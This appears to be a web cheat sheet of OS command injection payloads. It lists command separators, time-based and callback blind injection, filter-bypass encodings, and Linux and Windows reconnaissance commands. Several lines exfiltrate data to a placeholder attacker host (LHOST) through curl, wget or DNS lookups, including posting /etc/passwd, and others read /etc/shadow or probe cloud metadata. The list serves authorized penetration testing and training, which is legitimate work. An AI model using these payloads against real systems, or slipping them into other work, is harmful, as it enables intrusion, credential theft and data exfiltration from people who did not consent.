# Command Injection Cheat Sheet

> OS command injection payloads for testing command separators, blind injection, and filter bypasses.

Source: https://payloadplayground.com/cheatsheets/command-injection

For authorized security testing only.

## Command Separators

- `; id` — Semicolon separator (Linux)
- `| id` — Pipe — output of left discarded (Both)
- `|| id` — OR — runs if first fails (Both)
- `& id` — Background — runs both (Both)
- `&& id` — AND — runs if first succeeds (Both)
- `$(id)` — Command substitution (Linux)
- `` `id` `` — Backtick substitution (Linux)
- `%0aid` — Newline URL-encoded (Both)
- `\nid` — Newline literal (Linux)

## Blind Injection (No Output)

- `; sleep 5` — Time-based detection (Linux)
- `& timeout /T 5` — Time-based detection (Windows)
- `; ping -c 5 LHOST` — ICMP callback (5 packets) (Linux)
- `& ping -n 5 LHOST` — ICMP callback (5 packets) (Windows)
- `; curl http://LHOST/$(whoami)` — HTTP callback with data exfil (Linux)
- `; wget http://LHOST/$(id|base64)` — HTTP exfil base64 encoded (Linux)
- `; nslookup $(whoami).LHOST` — DNS exfiltration (Linux)
- `& nslookup %USERNAME%.LHOST` — DNS exfiltration (Windows)
- `| curl http://LHOST -d @/etc/passwd` — POST file contents via curl (Linux)

## Filter Bypass

- `c'a't /etc/passwd` — Quote insertion bypass
- `c\at /etc/passwd` — Backslash insertion bypass
- `ca$@t /etc/passwd` — Empty variable bypass
- `/bin/c?t /etc/passwd` — Wildcard character bypass
- `/???/??t /???/??????` — Full wildcard bypass for cat /etc/passwd
- `cat${IFS}/etc/passwd` — $IFS as space substitute
- `cat$IFS/etc/passwd` — $IFS without braces
- `{cat,/etc/passwd}` — Brace expansion bypass
- `X=$'cat\x20/etc/passwd'&&$X` — Hex-encoded space in variable
- `echo${IFS}$(cat${IFS}/etc/passwd)` — Chained $IFS bypass
- `w\h\o\a\m\i` — Backslash in every character
- `$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')` — Printf hex-encoded command

## Linux-Specific

- `; cat /etc/passwd` — Read passwd file
- `; cat /etc/shadow` — Read shadow file (requires root)
- `; ls -la /` — List root directory
- `; uname -a` — System information
- `; env` — Environment variables
- `; find / -perm -4000 2>/dev/null` — Find SUID binaries
- `; curl http://169.254.169.254/latest/meta-data/` — AWS metadata (SSRF chain)

## Windows-Specific

- `& whoami` — Current user
- `& ipconfig` — Network configuration
- `& type C:\Windows\System32\drivers\etc\hosts` — Read hosts file
- `& net user` — List users
- `& net localgroup administrators` — List admin group members
- `& systeminfo` — System information
- `& tasklist` — Running processes
- `& dir C:\Users` — List user directories
- `& powershell -c "Get-Process"` — PowerShell process list

## Related

- [Command Injection generator](https://payloadplayground.com/generators/command-injection)
- [WAF Bypass generator](https://payloadplayground.com/generators/waf-bypass)
- [Reverse Shell Cheat Sheet](https://payloadplayground.com/cheatsheets/reverse-shells.md)
- [LFI / Path Traversal Cheat Sheet](https://payloadplayground.com/cheatsheets/lfi-path-traversal.md)
